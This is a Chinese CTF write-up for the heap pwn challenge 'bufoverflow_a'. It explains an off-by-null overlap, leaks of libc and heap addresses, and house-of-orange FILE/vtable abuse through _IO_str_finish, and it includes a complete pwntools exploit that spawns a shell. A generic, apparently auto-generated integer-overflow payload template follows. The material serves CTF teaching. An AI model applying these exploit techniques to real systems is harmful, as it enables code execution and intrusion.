攻防世界 pwn 进阶 bufoverflow_a

本文详细解析了一种高级的内存溢出漏洞利用方法,涉及chunk管理、offbynull技巧、topchunk操控和vtable构造,以实现对_IO_str_finish函数的控制,从而达到执行系统命令的目的。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这道题是house of orange的一个进化版

所以还是有必要先去看看简单的house of orange是怎样去走的。
可以去看攻防世界的另外一道题。
攻防世界 houseoforange

在这里插入图片描述保护一片绿。

在这里插入图片描述
菜单堆。

alloc
在这里插入图片描述申请重点是202060、202040、202048.
202060这里就是记录着申请chunk的大小跟指针,202040记录的是最近的一个申请的大小跟指针,202048记录着的就是申请的个数。

还要重点注意的是,申请前两个chunk的时候用的是malloc,但是之后的都是用的calloc,这就导致我们泄露地址啥的,只能通过前两个申请的chunk来完成这个事情。

delete
在这里插入图片描述删的还是很干净的。

fill
在这里插入图片描述在这里插入图片描述
仔细看看有个off by bull

show
在这里插入图片描述
平平无奇输出函数。

fill跟show只针对最新申请到的那一个。

这个题唯一的一个漏洞是一个off by null,遇到这种漏洞想的就是制造一个overlap,然后可以泄露地址,可以制造fastbin attack等等,但是这个题对它的输入输出有限制,不是像以前一样只要申请到的chunk就可以随便写啥的。回顾一下以前的利用方法,就是通过A B C D四个chunk,对B造成overlap,造成的效果就是把B挂在bins里面,但是还是能够对他的输入输出做控制。
但是这个题不行,因为我们能够通过off by null制造overlap,但是我们没有办法对他的输入输出做一个控制,仅仅是能够输入,输出最新申请的那个chunk。
那么我们的利用只能是通过top chunk

首先是泄露libc的地址,这个比较简单,先申请两个chunk,A,B,然后释放A,A里面就会有libc的地址,然后再申请回来输出一下就好了。

然后再来泄露heap的地址,这个需要用到large bin。
在这里插入图片描述因为这个输出对内容有要求,而且有那个off by one漏洞,所以我们利用large的方法也就受到了很大的限制,只能够通过先让large chunk挂到链中,然后想办法申请的时候让fd_nextsize的那个数据放在我们申请到的chunk的fd的位置这种方法。因为我们如果想着通过填充fd到fd_nextsize,read函数最后还是会读入一个’\x00’,还是达不到输出的一个目的。

所以我们用的方法是先通过申请两个chunk,A是0x80,B是0x400,C是0x80,说一下作用,A是用来调整来达到我们fd_nextsize去了fd的一个chunk,B的话就是large chunk,挂进去来获得heap的地址,C就是防止合并。具体操作是我们先申请A,B,C,再释放B,再申请一个0x500的D,用来触发malloc_consolidate,然后就会把B那个chunk挂到large bin里面,然后D释放掉。
现在堆长这样。
在这里插入图片描述然后我们想的是能够申请到一个chunk,这个chunk的fd位置对应B的fd_nextsize,所以我们先把A C都释放掉,让他们进入topchunk,然后申请0x90的chunk,这个时候第一个chunk比之前多了0x10,那么下一个chunk申请的时候就会fd地方对应fd_nextsize,然后就可以获得heap的地址。

要注意泄露只来的heap地址,也就是fd_nextsize里面放着的是上图中B的fd_nextsize的位置,离真正的heap_base差了0x
B0,减去就好。

然后我们就需要通过off by one来构造这样的一个形式,然后我们可以通过外层来写内层,一种堆溢出的效果,来通过house of orange来完成这个题。

在这里插入图片描述
构造过程如下。我们大概把它分成三步。

第一步的目的是通过off by null,制造一个overlapping。这个overlapping把topchunk包在了里面。
先申请一个A,在A里面进行chunk的伪造,伪造一个D,然后申请B,C,B是一会被overlap的chunk,我们要通过B来往C里面写东西,来使得释放C的时候能unlink,然后制造overlap。
但是因为最近申请的chunk是C,不能写B,所以需要把B释放掉,再申请回来,然后往里面东西,然后释放掉C,把D,B连在一起。
在写数据的时候我们需要绕过unlink的两个检查。

  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

所以C的pre_size位要等于B+D,绕过第一个检查
以前绕过第二个检查都是

p->fd = &p-3*4  
p->bk = &p-2*4  

通过它来进行unlink攻击,但是现在因为我们没有&p,所以只能通过第二种方式。

p->fd = p  
p->bk = p  

在这里插入图片描述此时我们要注意,top chunk在D的地方,而且A B是used的。

第二步我们我们要把topchunk提起来,也就是把A B再释放回去,因为我们在做unlink的时候,chunk中的信息都被清理了,而且我们不能通过正常释放方式把topchunk提起来。我们这里采用的方法就是把D申请过来,大小要合适,让topchunk到了C的地方,把里面的数据复原,释放A B然后把它提起来。
这个时候 A B C都是free状态 D是used。

提起来为点啥?我们来到第三步。我们现在有的是什么,top chunk提到了最上面,然后我们可以控制中间的一个chunk。我们回到目标,想要制造那样的两个在unsorted bin中的chunk,而且是内外层结构。我们现在如果可以把D那个地方的chunk释放掉,那么就已经有了内层,但是我们释放不掉,因为前面free A B的时候里面chunk的信息清理掉了。
所以我们通过从top chunk中申请chunk,来对D那个地方的chunk伪造信息。但是我们要注意伪造的时候要伪造好。

D那里大小要伪造成0x90,这样释放后就会在unsorted bin,然后后面需要再放一个chunk,它的大小必须正好能把A填满,就是这个chunk的下一个必须是B的那个地方,为什么?因为我们再free chunkD的时候,会对它的下一个进行检查,检查它的状态,怎么个检查法?就是查它的下一个的下一个的p位是否为1,如果我们不填满,那么它检查的时候找到的数据只能是C,C的最后一个比特是0,就会出问题。

下面这个图就是伪造好的。
在这里插入图片描述最上面的0x21是它刚开始跑程序的时候自己申请的,可以不用理他。

然后我们就达到了我们预想的目的,有了那样的一个构造,但是其实那样构造的原因是什么,只不过是想通过外面的chunk向里面的chunk写东西,我们可以通过这种方式来接上house of orange。

然后呢我们首先应该考虑libc的版本,因为2.23之后会增加对vtable的检测。
在这里插入图片描述libc 2.24.

libc新增了对vtable地址的检查,只能允许我们的vtable在合法的范围。
那我们要在构造vtable的时候利用_IO_str_jumps,因为这个地址符合它的检查。
所以我们在vtable的地方写上_IO_str_jumps - 0x8,然后后面跟上一个0,跟上system的地址。

{  
  JUMP_INIT_DUMMY,  
  JUMP_INIT(finish, _IO_str_finish),  
  JUMP_INIT(overflow, _IO_str_overflow),  
  JUMP_INIT(underflow, _IO_str_underflow),  
  JUMP_INIT(uflow, _IO_default_uflow),  
  JUMP_INIT(pbackfail, _IO_str_pbackfail),  
  JUMP_INIT(xsputn, _IO_default_xsputn),  
  JUMP_INIT(xsgetn, _IO_default_xsgetn),  
  JUMP_INIT(seekoff, _IO_str_seekoff),  
  JUMP_INIT(seekpos, _IO_default_seekpos),  
  JUMP_INIT(setbuf, _IO_default_setbuf),  
  JUMP_INIT(sync, _IO_default_sync),  
  JUMP_INIT(doallocate, _IO_default_doallocate),  
  JUMP_INIT(read, _IO_default_read),  
  JUMP_INIT(write, _IO_default_write),  
  JUMP_INIT(seek, _IO_default_seek),  
  JUMP_INIT(close, _IO_default_close),  
  JUMP_INIT(stat, _IO_default_stat),  
  JUMP_INIT(showmanyc, _IO_default_showmanyc),  
  JUMP_INIT(imbue, _IO_default_imbue)  
};  

_IO_str_finish (FILE *fp, int dummy)  
{  
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))  
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  
  fp->_IO_buf_base = NULL;  
  _IO_default_finish (fp, 0);  
}

所以我们最后总结一下利用方法。
这道题是针对_IO_str_finish的利用方式。

1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base

2、构造vtable = _IO_str_jumps - 0x8,使_IO_str_finish函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x10,而_IO_OVERFLOW在原vtable中的偏移为0x18)
3、构造fp -> _IO_buf_base作为参数
4、构造fp->flags & _IO_USER_BUF == 0
5、构造fp->_s._free_buffer为system或one_gadget (_free_buffer = fp + 0xe8)
6、调用_IO_flush_all_lokcp函数,触发(fp->_s._free_buffer) (fp->_IO_buf_base)
abort(如触发malloc报错时)
exit
从main函数返回

这道题我们是用的_IO_str_finish,当然我们可以利用另外一种,_IO_str_overflow

1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base

2、构造vtable = _IO_str_jumps ,使_IO_str_overflow函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x18,而_IO_OVERFLOW在原vtable中的偏移为0x18)

3、构造fp->flags & _IO_USER_BUF == 0 && fp->flags & _IO_NO_WRITES == 0
4、构造new_size = (fp->_IO_buf_end - fp -> _IO_buf_base) * 2 + 100 = binsh_addr
5、构造 fp->_s._allocate_buffer = &system ( fp->_s._allocate_buffer = fp + 0xe0)
abort(如触发malloc报错时)
exit
从main函数返回

#coding:utf8
from pwn import *
 
#r = process('./bufoverflow_a')
r = remote('111.200.241.244',59708)
#libc = ELF('./64/libc-2.23.so')
libc = ELF('./libc.so.6')
_IO_list_all = libc.sym['_IO_list_all']
malloc_hook =  libc.sym['__malloc_hook']
system_addr = libc.sym['system']
bin_sh = libc.search('/bin/sh').next()
 
def create(size):
   r.sendlineafter('>>','1')
   r.sendlineafter('Size:',str(size))
 
def delete(index):
   r.sendlineafter('>>','2')
   r.sendlineafter('Index:',str(index))
 
def fill(content):
   r.sendlineafter('>>','3')
   r.sendafter('Content:',content)
 
def show():
   r.sendlineafter('>>','4')
 
def get_IO_str_jumps():
   IO_file_jumps_offset = libc.sym['_IO_file_jumps']
   IO_str_underflow_offset = libc.sym['_IO_str_underflow']
   for ref_offset in libc.search(p64(IO_str_underflow_offset)):
       possible_IO_str_jumps_offset = ref_offset - 0x20
       if possible_IO_str_jumps_offset > IO_file_jumps_offset:
          print possible_IO_str_jumps_offset
          return possible_IO_str_jumps_offset

create(0x80) #0
create(0x80) #1

delete(0)
delete(1)

create(0x80) #0
show()
r.recv(1)

main_arena_xx = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) +  (malloc_hook & 0XFFF)
libc_base = malloc_hook_addr - malloc_hook
_IO_list_all_addr = libc_base + _IO_list_all
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
system_addr = libc_base + system_addr
bin_sh = libc_base + bin_sh
print 'libc_base=',hex(libc_base)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
print 'system_addr=',hex(system_addr)

create(0x400) #1
create(0x80) #2
delete(1)

create(0x500) #1
delete(1)
delete(2)
delete(0)

create(0x90) #0
create(0x80) #1
show()
r.recv(1)
heap_base = u64(r.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0xB0
print 'heap_base=',hex(heap_base)

delete(0)
delete(1)
#0
create(0x208)
fake_chunk = 'a'*0x20
fake_chunk += p64(0) + p64(0x1E1)
#让fd=bk=p绕过检查
fake_chunk += p64(heap_base + 0x50)*2
fake_chunk = fake_chunk.ljust(0x200,'a')
fake_chunk += p64(0x1E0)
fill(fake_chunk)

create(0x80) #1
create(0xF0)
fill('b'*0xF0)
 
delete(1)

create(0x88) #1
fill('b'*0x80 + p64(0x270))
delete(2)
create(0x290) #2
fill('a'*0x1D0 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x101) + '\n')
delete(1)
delete(0)
 
create(0x290) #0

fill('a'*0x20 + p64(0) + p64(0x91) + 'a'*0x80 + p64(0) + p64(0x151) + '\n')
delete(0) #得到外层unsorted bin
delete(2) #得到内层unsorted bin
create(0x290)

payload = 'a'*0x20
fake_file = p64(0) + p64(0x60)
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(bin_sh)
fake_file = fake_file.ljust(0xD8,'\x00')
fake_file += p64(_IO_str_jumps_addr - 8)
fake_file += p64(0) + p64(system_addr)
payload += fake_file
payload += '\n'
fill(payload)
#getshell
create(0x80)
 
r.interactive()

exp可能一次跑不出来,要多跑几次。

### 关于CTF PWN Int Overflow Challenge Solution 在处理PWN类型的整数溢出挑战时,理解程序如何处理输入以及这些输入怎样影响内存至关重要。当遇到名为`int_overflow`的题目时,这可能意味着某个`int`型变量存在栈溢出风险[^2]。 对于这类问题的一个常见解决方法涉及以下几个方面: #### 分析目标程序 使用反汇编工具IDA可以深入分析二进制文件的工作原理。通过将题目中的可执行文件加载至IDA中并检查其主要逻辑流程,能够识别潜在的安全缺陷位置。特别是要注意那些未启用安全防护机制(如stack canary)的情况,在Ubuntu环境下测试可以帮助确认这一点。 #### 构造有效载荷(Payload) 基于发现的漏洞特性来构建特定的有效载荷是非常重要的一步。例如,在某些情况下,可以通过向缓冲区填充足够的数据直到覆盖返回地址,并指向一个已知地址处的gadget链或直接调用系统函数实现控制流劫持的目的。Python库`pwntools`提供了便捷的方法用于创建这样的payloads,并且支持本地调试和远程连接服务器提交攻击尝试[^3]。 ```python from pwn import * # 设置目标IP和端口 target_ip = "example.com" port_num = 12345 # 创建远程连接对象 io = remote(target_ip, port_num) # 定义payload结构 offset_to_ret_addr = ... # 需要根据实际情况调整偏移量大小 rop_chain_or_function_ptr = ... payload = b'A' * offset_to_ret_addr + pack(rop_chain_or_function_ptr) # 发送payload给服务端 io.sendlineafter(b"prompt:", payload) ``` 请注意上述代码片段仅为模板示意;实际操作前需依据具体情况进行适当修改以适应不同场景下的需求。 #### 测试与验证 完成以上准备工作之后,应当在一个受控环境中反复试验所设计出来的exploit直至成功获取shell或其他预期效果为止。同时也要注意遵守比赛规则和服务条款,确保行为合法合规[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值